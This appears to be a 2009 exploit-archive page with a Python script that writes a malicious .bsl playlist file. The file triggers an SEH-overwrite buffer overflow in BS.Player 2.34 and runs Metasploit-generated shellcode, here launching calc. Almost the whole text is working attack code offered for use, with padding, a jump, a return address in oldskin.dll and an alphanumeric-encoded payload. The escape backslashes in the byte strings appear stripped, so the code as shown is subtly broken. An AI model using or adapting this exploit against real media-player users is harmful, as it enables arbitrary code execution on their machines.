[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : BS.Player 2.34 (.bsl) Universal SEH Overwrite Exploit
# Published : 2009-03-20
# Author : His0k4
# Previous Title : BS.Player <= 2.34 Build 980 (.bsl) Local Buffer Overflow Exploit (SEH)
# Next Title : Chasys Media Player 1.1 .cue File Stack Overflow Exploit


#usage: exploit.py
print "**************************************************************************"
print " Bs.Player 2.34 (.bsl) Universal Seh Overwrite Exploitn"
print " Author : Nine:Situations:Group::pyrokinesis"
print " Exploited by : His0k4"
print " Tested on: Windows XP Pro SP2 Frn"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)n"
print "**************************************************************************"
         	
			
buff = "x41" * 412

next_seh = "xEBx12x41x41"

seh = "xD0x26x58x02" # oldskin.dll

nops = "x90"*19

header1= "x68x74x74x70x3Ax2Fx2Fx52x61x77x2Dx48x69x67x68x2E"
header2= "x2Ex46x4Dx2Fx6Cx69x73x74x65x6Ex2Ex70x6Cx73x0Ax00"

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34"
"x42x50x42x30x42x30x4bx58x45x34x4ex33x4bx58x4ex37"
"x45x30x4ax37x41x30x4fx4ex4bx48x4fx54x4ax51x4bx58"
"x4fx55x42x42x41x50x4bx4ex49x34x4bx58x46x33x4bx48"
"x41x30x50x4ex41x33x42x4cx49x49x4ex4ax46x58x42x4c"
"x46x57x47x30x41x4cx4cx4cx4dx50x41x30x44x4cx4bx4e"
"x46x4fx4bx33x46x55x46x52x46x50x45x37x45x4ex4bx58"
"x4fx45x46x42x41x30x4bx4ex48x56x4bx38x4ex30x4bx34"
"x4bx58x4fx35x4ex31x41x30x4bx4ex4bx38x4ex41x4bx58"
"x41x50x4bx4ex49x48x4ex45x46x52x46x50x43x4cx41x53"
"x42x4cx46x56x4bx58x42x54x42x53x45x48x42x4cx4ax57"
"x4ex50x4bx58x42x54x4ex30x4bx38x42x57x4ex41x4dx4a"
"x4bx38x4ax46x4ax50x4bx4ex49x30x4bx38x42x48x42x4b"
"x42x50x42x50x42x50x4bx58x4ax46x4ex53x4fx35x41x33"
"x48x4fx42x46x48x35x49x38x4ax4fx43x58x42x4cx4bx57"
"x42x35x4ax36x42x4fx4cx58x46x50x4fx45x4ax46x4ax49"
"x50x4fx4cx48x50x30x47x45x4fx4fx47x4ex43x56x41x56"
"x4ex46x43x46x42x30x5a")

	
exploit = header1 + buff + next_seh + seh + nops + shellcode + header2

try:
    out_file = open("exploit.bsl",'w')
    out_file.write(exploit)
    out_file.close()
    print "Exploit file created!n"
except:
    print "Error"

# www.Syue.com [2009-03-20]